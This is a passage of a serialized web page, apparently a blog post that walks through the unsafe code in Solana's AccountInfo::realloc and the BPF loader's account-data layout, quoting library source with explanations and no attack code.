",{"type":24,"tag":83,"props":13790,"children":13791},{"style":90},[13792],{"type":29,"value":8586},{"type":24,"tag":83,"props":13794,"children":13795},{"style":143},[13796],{"type":29,"value":9563},{"type":24,"tag":83,"props":13798,"children":13799},{"style":90},[13800],{"type":29,"value":9401},{"type":24,"tag":83,"props":13802,"children":13803},{"style":3163},[13804],{"type":29,"value":5606},{"type":24,"tag":83,"props":13806,"children":13807},{"style":107},[13808],{"type":29,"value":2872},{"type":24,"tag":83,"props":13810,"children":13811},{"style":143},[13812],{"type":29,"value":161},{"type":24,"tag":83,"props":13814,"children":13815},{"style":101},[13816],{"type":29,"value":13646},{"type":24,"tag":83,"props":13818,"children":13819},{"style":107},[13820],{"type":29,"value":558},{"type":24,"tag":83,"props":13822,"children":13823},{"style":245},[13824],{"type":29,"value":3756},{"type":24,"tag":83,"props":13826,"children":13827},{"style":107},[13828],{"type":29,"value":633},{"type":24,"tag":83,"props":13830,"children":13831},{"style":90},[13832],{"type":29,"value":8586},{"type":24,"tag":83,"props":13834,"children":13835},{"style":3163},[13836],{"type":29,"value":5606},{"type":24,"tag":83,"props":13838,"children":13839},{"style":107},[13840],{"type":29,"value":633},{"type":24,"tag":83,"props":13842,"children":13843},{"style":90},[13844],{"type":29,"value":8586},{"type":24,"tag":83,"props":13846,"children":13847},{"style":143},[13848],{"type":29,"value":9563},{"type":24,"tag":83,"props":13850,"children":13851},{"style":90},[13852],{"type":29,"value":3468},{"type":24,"tag":83,"props":13854,"children":13855},{"style":3163},[13856],{"type":29,"value":5606},{"type":24,"tag":83,"props":13858,"children":13859},{"style":107},[13860],{"type":29,"value":581},{"type":24,"tag":83,"props":13862,"children":13863},{"class":85,"line":358},[13864,13868,13872,13876,13880,13884,13888],{"type":24,"tag":83,"props":13865,"children":13866},{"style":143},[13867],{"type":29,"value":7499},{"type":24,"tag":83,"props":13869,"children":13870},{"style":137},[13871],{"type":29,"value":13694},{"type":24,"tag":83,"props":13873,"children":13874},{"style":143},[13875],{"type":29,"value":146},{"type":24,"tag":83,"props":13877,"children":13878},{"style":137},[13879],{"type":29,"value":13703},{"type":24,"tag":83,"props":13881,"children":13882},{"style":90},[13883],{"type":29,"value":8572},{"type":24,"tag":83,"props":13885,"children":13886},{"style":3163},[13887],{"type":29,"value":5606},{"type":24,"tag":83,"props":13889,"children":13890},{"style":107},[13891],{"type":29,"value":321},{"type":24,"tag":83,"props":13893,"children":13894},{"class":85,"line":367},[13895],{"type":24,"tag":83,"props":13896,"children":13897},{"style":107},[13898],{"type":29,"value":446},{"type":24,"tag":83,"props":13900,"children":13901},{"class":85,"line":406},[13902],{"type":24,"tag":83,"props":13903,"children":13904},{"emptyLinePlaceholder":16},[13905],{"type":29,"value":3422},{"type":24,"tag":83,"props":13907,"children":13908},{"class":85,"line":427},[13909],{"type":24,"tag":83,"props":13910,"children":13911},{"style":2735},[13912],{"type":29,"value":13913},"    // zero-init if requested\n",{"type":24,"tag":83,"props":13915,"children":13916},{"class":85,"line":440},[13917,13921,13926,13930,13934,13938,13942],{"type":24,"tag":83,"props":13918,"children":13919},{"style":117},[13920],{"type":29,"value":218},{"type":24,"tag":83,"props":13922,"children":13923},{"style":137},[13924],{"type":29,"value":13925}," zero_init",{"type":24,"tag":83,"props":13927,"children":13928},{"style":143},[13929],{"type":29,"value":1126},{"type":24,"tag":83,"props":13931,"children":13932},{"style":137},[13933],{"type":29,"value":13703},{"type":24,"tag":83,"props":13935,"children":13936},{"style":143},[13937],{"type":29,"value":242},{"type":24,"tag":83,"props":13939,"children":13940},{"style":137},[13941],{"type":29,"value":13533},{"type":24,"tag":83,"props":13943,"children":13944},{"style":107},[13945],{"type":29,"value":125},{"type":24,"tag":83,"props":13947,"children":13948},{"class":85,"line":449},[13949,13954],{"type":24,"tag":83,"props":13950,"children":13951},{"style":101},[13952],{"type":29,"value":13953},"        sol_memset",{"type":24,"tag":83,"props":13955,"children":13956},{"style":107},[13957],{"type":29,"value":3208},{"type":24,"tag":83,"props":13959,"children":13960},{"class":85,"line":458},[13961,13965,13969,13973,13977,13981,13985,13989,13993,13998,14002],{"type":24,"tag":83,"props":13962,"children":13963},{"style":143},[13964],{"type":29,"value":7432},{"type":24,"tag":83,"props":13966,"children":13967},{"style":90},[13968],{"type":29,"value":3468},{"type":24,"tag":83,"props":13970,"children":13971},{"style":90},[13972],{"type":29,"value":13542},{"type":24,"tag":83,"props":13974,"children":13975},{"style":143},[13976],{"type":29,"value":161},{"type":24,"tag":83,"props":13978,"children":13979},{"style":101},[13980],{"type":29,"value":13619},{"type":24,"tag":83,"props":13982,"children":13983},{"style":107},[13984],{"type":29,"value":13624},{"type":24,"tag":83,"props":13986,"children":13987},{"style":143},[13988],{"type":29,"value":2900},{"type":24,"tag":83,"props":13990,"children":13991},{"style":107},[13992],{"type":29,"value":1161},{"type":24,"tag":83,"props":13994,"children":13995},{"style":137},[13996],{"type":29,"value":13997},"orig_len",{"type":24,"tag":83,"props":13999,"children":14000},{"style":143},[14001],{"type":29,"value":2796},{"type":24,"tag":83,"props":14003,"children":14004},{"style":107},[14005],{"type":29,"value":14006},"],\n",{"type":24,"tag":83,"props":14008,"children":14009},{"class":85,"line":1065},[14010,14015],{"type":24,"tag":83,"props":14011,"children":14012},{"style":245},[14013],{"type":29,"value":14014},"            0",{"type":24,"tag":83,"props":14016,"children":14017},{"style":107},[14018],{"type":29,"value":989},{"type":24,"tag":83,"props":14020,"children":14021},{"class":85,"line":1668},[14022,14027,14031,14036,14040,14044],{"type":24,"tag":83,"props":14023,"children":14024},{"style":137},[14025],{"type":29,"value":14026},"            new_len",{"type":24,"tag":83,"props":14028,"children":14029},{"style":143},[14030],{"type":29,"value":161},{"type":24,"tag":83,"props":14032,"children":14033},{"style":101},[14034],{"type":29,"value":14035},"saturating_sub",{"type":24,"tag":83,"props":14037,"children":14038},{"style":107},[14039],{"type":29,"value":558},{"type":24,"tag":83,"props":14041,"children":14042},{"style":137},[14043],{"type":29,"value":13997},{"type":24,"tag":83,"props":14045,"children":14046},{"style":107},[14047],{"type":29,"value":6483},{"type":24,"tag":83,"props":14049,"children":14050},{"class":85,"line":1713},[14051],{"type":24,"tag":83,"props":14052,"children":14053},{"style":107},[14054],{"type":29,"value":7491},{"type":24,"tag":83,"props":14056,"children":14057},{"class":85,"line":1730},[14058],{"type":24,"tag":83,"props":14059,"children":14060},{"style":107},[14061],{"type":29,"value":446},{"type":24,"tag":83,"props":14063,"children":14064},{"class":85,"line":1770},[14065],{"type":24,"tag":83,"props":14066,"children":14067},{"emptyLinePlaceholder":16},[14068],{"type":29,"value":3422},{"type":24,"tag":83,"props":14070,"children":14071},{"class":85,"line":1778},[14072,14077],{"type":24,"tag":83,"props":14073,"children":14074},{"style":3163},[14075],{"type":29,"value":14076},"    Ok",{"type":24,"tag":83,"props":14078,"children":14079},{"style":107},[14080],{"type":29,"value":14081},"(())\n",{"type":24,"tag":83,"props":14083,"children":14084},{"class":85,"line":1803},[14085],{"type":24,"tag":83,"props":14086,"children":14087},{"style":107},[14088],{"type":29,"value":464},{"type":24,"tag":25,"props":14090,"children":14091},{},[14092,14094,14100,14102,14107],{"type":29,"value":14093},"Oh. There's ",{"type":24,"tag":32,"props":14095,"children":14097},{"className":14096},[],[14098],{"type":29,"value":14099},"unsafe",{"type":29,"value":14101},". And no bounds check in sight. ",{"type":24,"tag":2655,"props":14103,"children":14104},{},[14105],{"type":29,"value":14106},"And",{"type":29,"value":14108}," pointer math. That doesn't look promising...",{"type":24,"tag":51,"props":14110,"children":14112},{"id":14111},"breaking-down-realloc",[14113,14115],{"type":29,"value":14114},"Breaking down ",{"type":24,"tag":32,"props":14116,"children":14118},{"className":14117},[],[14119],{"type":29,"value":13383},{"type":24,"tag":25,"props":14121,"children":14122},{},[14123,14125,14130],{"type":29,"value":14124},"Let's pick apart this ",{"type":24,"tag":32,"props":14126,"children":14128},{"className":14127},[],[14129],{"type":29,"value":14099},{"type":29,"value":14131}," block, since there's a lot going on here.",{"type":24,"tag":73,"props":14133,"children":14135},{"className":2725,"code":14134,"language":2724,"meta":7,"style":7},"// First set new length in the serialized data\nlet ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n*ptr = new_len as u64;\n",[14136],{"type":24,"tag":32,"props":14137,"children":14138},{"__ignoreMap":7},[14139,14147,14234],{"type":24,"tag":83,"props":14140,"children":14141},{"class":85,"line":86},[14142],{"type":24,"tag":83,"props":14143,"children":14144},{"style":2735},[14145],{"type":29,"value":14146},"// First set new length in the serialized data\n",{"type":24,"tag":83,"props":14148,"children":14149},{"class":85,"line":113},[14150,14154,14158,14162,14166,14170,14174,14178,14182,14186,14190,14194,14198,14202,14206,14210,14214,14218,14222,14226,14230],{"type":24,"tag":83,"props":14151,"children":14152},{"style":90},[14153],{"type":29,"value":11534},{"type":24,"tag":83,"props":14155,"children":14156},{"style":137},[14157],{"type":29,"value":13602},{"type":24,"tag":83,"props":14159,"children":14160},{"style":143},[14161],{"type":29,"value":146},{"type":24,"tag":83,"props":14163,"children":14164},{"style":90},[14165],{"type":29,"value":13542},{"type":24,"tag":83,"props":14167,"children":14168},{"style":143},[14169],{"type":29,"value":161},{"type":24,"tag":83,"props":14171,"children":14172},{"style":101},[14173],{"type":29,"value":13619},{"type":24,"tag":83,"props":14175,"children":14176},{"style":107},[14177],{"type":29,"value":13624},{"type":24,"tag":83,"props":14179,"children":14180},{"style":143},[14181],{"type":29,"value":2877},{"type":24,"tag":83,"props":14183,"children":14184},{"style":101},[14185],{"type":29,"value":13633},{"type":24,"tag":83,"props":14187,"children":14188},{"style":107},[14189],{"type":29,"value":13624},{"type":24,"tag":83,"props":14191,"children":14192},{"style":143},[14193],{"type":29,"value":161},{"type":24,"tag":83,"props":14195,"children":14196},{"style":101},[14197],{"type":29,"value":13646},{"type":24,"tag":83,"props":14199,"children":14200},{"style":107},[14201],{"type":29,"value":558},{"type":24,"tag":83,"props":14203,"children":14204},{"style":143},[14205],{"type":29,"value":4072},{"type":24,"tag":83,"props":14207,"children":14208},{"style":245},[14209],{"type":29,"value":3819},{"type":24,"tag":83,"props":14211,"children":14212},{"style":107},[14213],{"type":29,"value":633},{"type":24,"tag":83,"props":14215,"children":14216},{"style":90},[14217],{"type":29,"value":8586},{"type":24,"tag":83,"props":14219,"children":14220},{"style":143},[14221],{"type":29,"value":9563},{"type":24,"tag":83,"props":14223,"children":14224},{"style":90},[14225],{"type":29,"value":3468},{"type":24,"tag":83,"props":14227,"children":14228},{"style":3163},[14229],{"type":29,"value":5606},{"type":24,"tag":83,"props":14231,"children":14232},{"style":107},[14233],{"type":29,"value":321},{"type":24,"tag":83,"props":14235,"children":14236},{"class":85,"line":128},[14237,14241,14245,14249,14253,14257,14261],{"type":24,"tag":83,"props":14238,"children":14239},{"style":143},[14240],{"type":29,"value":4315},{"type":24,"tag":83,"props":14242,"children":14243},{"style":137},[14244],{"type":29,"value":13694},{"type":24,"tag":83,"props":14246,"children":14247},{"style":143},[14248],{"type":29,"value":146},{"type":24,"tag":83,"props":14250,"children":14251},{"style":137},[14252],{"type":29,"value":13703},{"type":24,"tag":83,"props":14254,"children":14255},{"style":90},[14256],{"type":29,"value":8572},{"type":24,"tag":83,"props":14258,"children":14259},{"style":3163},[14260],{"type":29,"value":5606},{"type":24,"tag":83,"props":14262,"children":14263},{"style":107},[14264],{"type":29,"value":321},{"type":24,"tag":25,"props":14266,"children":14267},{},[14268,14273],{"type":24,"tag":32,"props":14269,"children":14271},{"className":14270},[],[14272],{"type":29,"value":13619},{"type":29,"value":14274}," returns a mutable reference to the underlying buffer holding the data of the account. Normally in the course of contract execution, this comes from the serialized buffer passed into the contract by the BPF loader. So before we can understand the details here, let's take a quick detour...",{"type":24,"tag":1818,"props":14276,"children":14278},{"id":14277},"bpf-loader-abi",[14279],{"type":29,"value":14280},"BPF Loader ABI",{"type":24,"tag":25,"props":14282,"children":14283},{},[14284,14286,14291,14293,14306],{"type":29,"value":14285},"Solana smart contracts have one job: interact with on-chain accounts. So what's the interface between the contract and the rest of the chain? To answer that, we're going to take a look at ",{"type":24,"tag":32,"props":14287,"children":14289},{"className":14288},[],[14290],{"type":29,"value":13398},{"type":29,"value":14292},"'s entrypoint code - the code that's added when you use the ",{"type":24,"tag":2033,"props":14294,"children":14297},{"href":14295,"rel":14296},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#116-131",[2037],[14298,14304],{"type":24,"tag":32,"props":14299,"children":14301},{"className":14300},[],[14302],{"type":29,"value":14303},"entrypoint!",{"type":29,"value":14305}," macro",{"type":29,"value":195},{"type":24,"tag":73,"props":14308,"children":14310},{"className":2725,"code":14309,"language":2724,"meta":7,"style":7},"#[no_mangle]\npub unsafe extern \"C\" fn entrypoint(input: *mut u8) -> u64 {\n    let (program_id, accounts, instruction_data) =\n        unsafe { $crate::entrypoint::deserialize(input) };\n    match $process_instruction(&program_id, &accounts, &instruction_data) {\n        Ok(()) => $crate::entrypoint::SUCCESS,\n        Err(error) => error.into(),\n    }\n}\n",[14311],{"type":24,"tag":32,"props":14312,"children":14313},{"__ignoreMap":7},[14314,14322,14394,14437,14489,14547,14590,14633,14640],{"type":24,"tag":83,"props":14315,"children":14316},{"class":85,"line":86},[14317],{"type":24,"tag":83,"props":14318,"children":14319},{"style":107},[14320],{"type":29,"value":14321},"#[no_mangle]\n",{"type":24,"tag":83,"props":14323,"children":14324},{"class":85,"line":113},[14325,14329,14334,14339,14344,14348,14353,14357,14361,14365,14369,14373,14378,14382,14386,14390],{"type":24,"tag":83,"props":14326,"children":14327},{"style":90},[14328],{"type":29,"value":13435},{"type":24,"tag":83,"props":14330,"children":14331},{"style":90},[14332],{"type":29,"value":14333}," unsafe",{"type":24,"tag":83,"props":14335,"children":14336},{"style":90},[14337],{"type":29,"value":14338}," extern",{"type":24,"tag":83,"props":14340,"children":14341},{"style":187},[14342],{"type":29,"value":14343}," \"C\"",{"type":24,"tag":83,"props":14345,"children":14346},{"style":90},[14347],{"type":29,"value":13440},{"type":24,"tag":83,"props":14349,"children":14350},{"style":101},[14351],{"type":29,"value":14352}," entrypoint",{"type":24,"tag":83,"props":14354,"children":14355},{"style":107},[14356],{"type":29,"value":558},{"type":24,"tag":83,"props":14358,"children":14359},{"style":137},[14360],{"type":29,"value":8112},{"type":24,"tag":83,"props":14362,"children":14363},{"style":143},[14364],{"type":29,"value":195},{"type":24,"tag":83,"props":14366,"children":14367},{"style":143},[14368],{"type":29,"value":9563},{"type":24,"tag":83,"props":14370,"children":14371},{"style":90},[14372],{"type":29,"value":3468},{"type":24,"tag":83,"props":14374,"children":14375},{"style":3163},[14376],{"type":29,"value":14377}," u8",{"type":24,"tag":83,"props":14379,"children":14380},{"style":107},[14381],{"type":29,"value":633},{"type":24,"tag":83,"props":14383,"children":14384},{"style":143},[14385],{"type":29,"value":13502},{"type":24,"tag":83,"props":14387,"children":14388},{"style":3163},[14389],{"type":29,"value":5606},{"type":24,"tag":83,"props":14391,"children":14392},{"style":107},[14393],{"type":29,"value":125},{"type":24,"tag":83,"props":14395,"children":14396},{"class":85,"line":128},[14397,14401,14405,14410,14414,14419,14423,14428,14432],{"type":24,"tag":83,"props":14398,"children":14399},{"style":90},[14400],{"type":29,"value":2746},{"type":24,"tag":83,"props":14402,"children":14403},{"style":107},[14404],{"type":29,"value":223},{"type":24,"tag":83,"props":14406,"children":14407},{"style":137},[14408],{"type":29,"value":14409},"program_id",{"type":24,"tag":83,"props":14411,"children":14412},{"style":107},[14413],{"type":29,"value":568},{"type":24,"tag":83,"props":14415,"children":14416},{"style":137},[14417],{"type":29,"value":14418},"accounts",{"type":24,"tag":83,"props":14420,"children":14421},{"style":107},[14422],{"type":29,"value":568},{"type":24,"tag":83,"props":14424,"children":14425},{"style":137},[14426],{"type":29,"value":14427},"instruction_data",{"type":24,"tag":83,"props":14429,"children":14430},{"style":107},[14431],{"type":29,"value":633},{"type":24,"tag":83,"props":14433,"children":14434},{"style":143},[14435],{"type":29,"value":14436},"=\n",{"type":24,"tag":83,"props":14438,"children":14439},{"class":85,"line":183},[14440,14445,14449,14453,14458,14462,14467,14471,14476,14480,14484],{"type":24,"tag":83,"props":14441,"children":14442},{"style":90},[14443],{"type":29,"value":14444},"        unsafe",{"type":24,"tag":83,"props":14446,"children":14447},{"style":107},[14448],{"type":29,"value":9333},{"type":24,"tag":83,"props":14450,"children":14451},{"style":143},[14452],{"type":29,"value":10035},{"type":24,"tag":83,"props":14454,"children":14455},{"style":90},[14456],{"type":29,"value":14457},"crate",{"type":24,"tag":83,"props":14459,"children":14460},{"style":143},[14461],{"type":29,"value":3226},{"type":24,"tag":83,"props":14463,"children":14464},{"style":107},[14465],{"type":29,"value":14466},"entrypoint",{"type":24,"tag":83,"props":14468,"children":14469},{"style":143},[14470],{"type":29,"value":3226},{"type":24,"tag":83,"props":14472,"children":14473},{"style":101},[14474],{"type":29,"value":14475},"deserialize",{"type":24,"tag":83,"props":14477,"children":14478},{"style":107},[14479],{"type":29,"value":558},{"type":24,"tag":83,"props":14481,"children":14482},{"style":137},[14483],{"type":29,"value":8112},{"type":24,"tag":83,"props":14485,"children":14486},{"style":107},[14487],{"type":29,"value":14488},") };\n",{"type":24,"tag":83,"props":14490,"children":14491},{"class":85,"line":203},[14492,14497,14502,14507,14511,14515,14519,14523,14527,14531,14535,14539,14543],{"type":24,"tag":83,"props":14493,"children":14494},{"style":117},[14495],{"type":29,"value":14496},"    match",{"type":24,"tag":83,"props":14498,"children":14499},{"style":143},[14500],{"type":29,"value":14501}," $",{"type":24,"tag":83,"props":14503,"children":14504},{"style":137},[14505],{"type":29,"value":14506},"process_instruction",{"type":24,"tag":83,"props":14508,"children":14509},{"style":107},[14510],{"type":29,"value":558},{"type":24,"tag":83,"props":14512,"children":14513},{"style":143},[14514],{"type":29,"value":2853},{"type":24,"tag":83,"props":14516,"children":14517},{"style":137},[14518],{"type":29,"value":14409},{"type":24,"tag":83,"props":14520,"children":14521},{"style":107},[14522],{"type":29,"value":568},{"type":24,"tag":83,"props":14524,"children":14525},{"style":143},[14526],{"type":29,"value":2853},{"type":24,"tag":83,"props":14528,"children":14529},{"style":137},[14530],{"type":29,"value":14418},{"type":24,"tag":83,"props":14532,"children":14533},{"style":107},[14534],{"type":29,"value":568},{"type":24,"tag":83,"props":14536,"children":14537},{"style":143},[14538],{"type":29,"value":2853},{"type":24,"tag":83,"props":14540,"children":14541},{"style":137},[14542],{"type":29,"value":14427},{"type":24,"tag":83,"props":14544,"children":14545},{"style":107},[14546],{"type":29,"value":253},{"type":24,"tag":83,"props":14548,"children":14549},{"class":85,"line":212},[14550,14555,14560,14565,14569,14573,14577,14581,14585],{"type":24,"tag":83,"props":14551,"children":14552},{"style":3163},[14553],{"type":29,"value":14554},"        Ok",{"type":24,"tag":83,"props":14556,"children":14557},{"style":107},[14558],{"type":29,"value":14559},"(()) ",{"type":24,"tag":83,"props":14561,"children":14562},{"style":143},[14563],{"type":29,"value":14564},"=>",{"type":24,"tag":83,"props":14566,"children":14567},{"style":143},[14568],{"type":29,"value":14501},{"type":24,"tag":83,"props":14570,"children":14571},{"style":90},[14572],{"type":29,"value":14457},{"type":24,"tag":83,"props":14574,"children":14575},{"style":143},[14576],{"type":29,"value":3226},{"type":24,"tag":83,"props":14578,"children":14579},{"style":107},[14580],{"type":29,"value":14466},{"type":24,"tag":83,"props":14582,"children":14583},{"style":143},[14584],{"type":29,"value":3226},{"type":24,"tag":83,"props":14586,"children":14587},{"style":107},[14588],{"type":29,"value":14589},"SUCCESS,\n",{"type":24,"tag":83,"props":14591,"children":14592},{"class":85,"line":256},[14593,14598,14602,14607,14611,14615,14620,14624,14629],{"type":24,"tag":83,"props":14594,"children":14595},{"style":3163},[14596],{"type":29,"value":14597},"        Err",{"type":24,"tag":83,"props":14599,"children":14600},{"style":107},[14601],{"type":29,"value":558},{"type":24,"tag":83,"props":14603,"children":14604},{"style":137},[14605],{"type":29,"value":14606},"error",{"type":24,"tag":83,"props":14608,"children":14609},{"style":107},[14610],{"type":29,"value":633},{"type":24,"tag":83,"props":14612,"children":14613},{"style":143},[14614],{"type":29,"value":14564},{"type":24,"tag":83,"props":14616,"children":14617},{"style":137},[14618],{"type":29,"value":14619}," error",{"type":24,"tag":83,"props":14621,"children":14622},{"style":143},[14623],{"type":29,"value":161},{"type":24,"tag":83,"props":14625,"children":14626},{"style":101},[14627],{"type":29,"value":14628},"into",{"type":24,"tag":83,"props":14630,"children":14631},{"style":107},[14632],{"type":29,"value":3236},{"type":24,"tag":83,"props":14634,"children":14635},{"class":85,"line":270},[14636],{"type":24,"tag":83,"props":14637,"children":14638},{"style":107},[14639],{"type":29,"value":446},{"type":24,"tag":83,"props":14641,"children":14642},{"class":85,"line":302},[14643],{"type":24,"tag":83,"props":14644,"children":14645},{"style":107},[14646],{"type":29,"value":464},{"type":24,"tag":25,"props":14648,"children":14649},{},[14650,14652,14657,14659,14665,14667,14674,14676,14682,14684,14691],{"type":29,"value":14651},"What we see here is the contract's real entrypoint - it takes a ",{"type":24,"tag":32,"props":14653,"children":14655},{"className":14654},[],[14656],{"type":29,"value":3166},{"type":29,"value":14658}," buffer in from the loader, and calls ",{"type":24,"tag":32,"props":14660,"children":14662},{"className":14661},[],[14663],{"type":29,"value":14664},"solana_program::entrypoint::deserialize",{"type":29,"value":14666},", which then ",{"type":24,"tag":2033,"props":14668,"children":14671},{"href":14669,"rel":14670},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#281-337",[2037],[14672],{"type":29,"value":14673},"parses out",{"type":29,"value":14675}," all the ",{"type":24,"tag":32,"props":14677,"children":14679},{"className":14678},[],[14680],{"type":29,"value":14681},"AccountInfo",{"type":29,"value":14683},"s, instruction data, and the current running program ID. We can see how the data buffer is ",{"type":24,"tag":2033,"props":14685,"children":14688},{"href":14686,"rel":14687},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316",[2037],[14689],{"type":29,"value":14690},"laid out",{"type":29,"value":195},{"type":24,"tag":73,"props":14693,"children":14695},{"className":2725,"code":14694,"language":2724,"meta":7,"style":7},"#[allow(clippy::cast_ptr_alignment)]\nlet data_len = *(input.add(offset) as *const u64) as usize;\noffset += size_of::\u003Cu64>();\n\nlet data = Rc::new(RefCell::new({\n    from_raw_parts_mut(input.add(offset), data_len)\n}));\noffset += data_len + MAX_PERMITTED_DATA_INCREASE;\noffset += (offset as *const u8).align_offset(BPF_ALIGN_OF_U128); // padding\n",[14696],{"type":24,"tag":32,"props":14697,"children":14698},{"__ignoreMap":7},[14699,14716,14796,14829,14836,14882,14927,14935,14959],{"type":24,"tag":83,"props":14700,"children":14701},{"class":85,"line":86},[14702,14707,14711],{"type":24,"tag":83,"props":14703,"children":14704},{"style":107},[14705],{"type":29,"value":14706},"#[allow(clippy",{"type":24,"tag":83,"props":14708,"children":14709},{"style":143},[14710],{"type":29,"value":3226},{"type":24,"tag":83,"props":14712,"children":14713},{"style":107},[14714],{"type":29,"value":14715},"cast_ptr_alignment)]\n",{"type":24,"tag":83,"props":14717,"children":14718},{"class":85,"line":113},[14719,14723,14728,14732,14736,14740,14744,14748,14752,14756,14760,14764,14768,14772,14776,14780,14784,14788,14792],{"type":24,"tag":83,"props":14720,"children":14721},{"style":90},[14722],{"type":29,"value":11534},{"type":24,"tag":83,"props":14724,"children":14725},{"style":137},[14726],{"type":29,"value":14727}," data_len",{"type":24,"tag":83,"props":14729,"children":14730},{"style":143},[14731],{"type":29,"value":146},{"type":24,"tag":83,"props":14733,"children":14734},{"style":143},[14735],{"type":29,"value":9563},{"type":24,"tag":83,"props":14737,"children":14738},{"style":107},[14739],{"type":29,"value":558},{"type":24,"tag":83,"props":14741,"children":14742},{"style":137},[14743],{"type":29,"value":8112},{"type":24,"tag":83,"props":14745,"children":14746},{"style":143},[14747],{"type":29,"value":161},{"type":24,"tag":83,"props":14749,"children":14750},{"style":101},[14751],{"type":29,"value":9384},{"type":24,"tag":83,"props":14753,"children":14754},{"style":107},[14755],{"type":29,"value":558},{"type":24,"tag":83,"props":14757,"children":14758},{"style":137},[14759],{"type":29,"value":13646},{"type":24,"tag":83,"props":14761,"children":14762},{"style":107},[14763],{"type":29,"value":633},{"type":24,"tag":83,"props":14765,"children":14766},{"style":90},[14767],{"type":29,"value":8586},{"type":24,"tag":83,"props":14769,"children":14770},{"style":143},[14771],{"type":29,"value":9563},{"type":24,"tag":83,"props":14773,"children":14774},{"style":90},[14775],{"type":29,"value":9401},{"type":24,"tag":83,"props":14777,"children":14778},{"style":3163},[14779],{"type":29,"value":5606},{"type":24,"tag":83,"props":14781,"children":14782},{"style":107},[14783],{"type":29,"value":633},{"type":24,"tag":83,"props":14785,"children":14786},{"style":90},[14787],{"type":29,"value":8586},{"type":24,"tag":83,"props":14789,"children":14790},{"style":3163},[14791],{"type":29,"value":13476},{"type":24,"tag":83,"props":14793,"children":14794},{"style":107},[14795],{"type":29,"value":321},{"type":24,"tag":83,"props":14797,"children":14798},{"class":85,"line":128},[14799,14803,14808,14813,14817,14821,14825],{"type":24,"tag":83,"props":14800,"children":14801},{"style":137},[14802],{"type":29,"value":13646},{"type":24,"tag":83,"props":14804,"children":14805},{"style":143},[14806],{"type":29,"value":14807}," +=",{"type":24,"tag":83,"props":14809,"children":14810},{"style":101},[14811],{"type":29,"value":14812}," size_of",{"type":24,"tag":83,"props":14814,"children":14815},{"style":143},[14816],{"type":29,"value":3226},{"type":24,"tag":83,"props":14818,"children":14819},{"style":107},[14820],{"type":29,"value":5552},{"type":24,"tag":83,"props":14822,"children":14823},{"style":3163},[14824],{"type":29,"value":7789},{"type":24,"tag":83,"props":14826,"children":14827},{"style":107},[14828],{"type":29,"value":8197},{"type":24,"tag":83,"props":14830,"children":14831},{"class":85,"line":183},[14832],{"type":24,"tag":83,"props":14833,"children":14834},{"emptyLinePlaceholder":16},[14835],{"type":29,"value":3422},{"type":24,"tag":83,"props":14837,"children":14838},{"class":85,"line":203},[14839,14843,14847,14851,14856,14860,14865,14870,14874,14878],{"type":24,"tag":83,"props":14840,"children":14841},{"style":90},[14842],{"type":29,"value":11534},{"type":24,"tag":83,"props":14844,"children":14845},{"style":137},[14846],{"type":29,"value":660},{"type":24,"tag":83,"props":14848,"children":14849},{"style":143},[14850],{"type":29,"value":146},{"type":24,"tag":83,"props":14852,"children":14853},{"style":3163},[14854],{"type":29,"value":14855}," Rc",{"type":24,"tag":83,"props":14857,"children":14858},{"style":143},[14859],{"type":29,"value":3226},{"type":24,"tag":83,"props":14861,"children":14862},{"style":101},[14863],{"type":29,"value":14864},"new",{"type":24,"tag":83,"props":14866,"children":14867},{"style":107},[14868],{"type":29,"value":14869},"(RefCell",{"type":24,"tag":83,"props":14871,"children":14872},{"style":143},[14873],{"type":29,"value":3226},{"type":24,"tag":83,"props":14875,"children":14876},{"style":101},[14877],{"type":29,"value":14864},{"type":24,"tag":83,"props":14879,"children":14880},{"style":107},[14881],{"type":29,"value":180},{"type":24,"tag":83,"props":14883,"children":14884},{"class":85,"line":212},[14885,14890,14894,14898,14902,14906,14910,14914,14919,14923],{"type":24,"tag":83,"props":14886,"children":14887},{"style":101},[14888],{"type":29,"value":14889},"    from_raw_parts_mut",{"type":24,"tag":83,"props":14891,"children":14892},{"style":107},[14893],{"type":29,"value":558},{"type":24,"tag":83,"props":14895,"children":14896},{"style":137},[14897],{"type":29,"value":8112},{"type":24,"tag":83,"props":14899,"children":14900},{"style":143},[14901],{"type":29,"value":161},{"type":24,"tag":83,"props":14903,"children":14904},{"style":101},[14905],{"type":29,"value":9384},{"type":24,"tag":83,"props":14907,"children":14908},{"style":107},[14909],{"type":29,"value":558},{"type":24,"tag":83,"props":14911,"children":14912},{"style":137},[14913],{"type":29,"value":13646},{"type":24,"tag":83,"props":14915,"children":14916},{"style":107},[14917],{"type":29,"value":14918},"), ",{"type":24,"tag":83,"props":14920,"children":14921},{"style":137},[14922],{"type":29,"value":13551},{"type":24,"tag":83,"props":14924,"children":14925},{"style":107},[14926],{"type":29,"value":2905},{"type":24,"tag":83,"props":14928,"children":14929},{"class":85,"line":256},[14930],{"type":24,"tag":83,"props":14931,"children":14932},{"style":107},[14933],{"type":29,"value":14934},"}));\n",{"type":24,"tag":83,"props":14936,"children":14937},{"class":85,"line":270},[14938,14942,14946,14950,14954],{"type":24,"tag":83,"props":14939,"children":14940},{"style":137},[14941],{"type":29,"value":13646},{"type":24,"tag":83,"props":14943,"children":14944},{"style":143},[14945],{"type":29,"value":14807},{"type":24,"tag":83,"props":14947,"children":14948},{"style":137},[14949],{"type":29,"value":14727},{"type":24,"tag":83,"props":14951,"children":14952},{"style":143},[14953],{"type":29,"value":8649},{"type":24,"tag":83,"props":14955,"children":14956},{"style":107},[14957],{"type":29,"value":14958}," 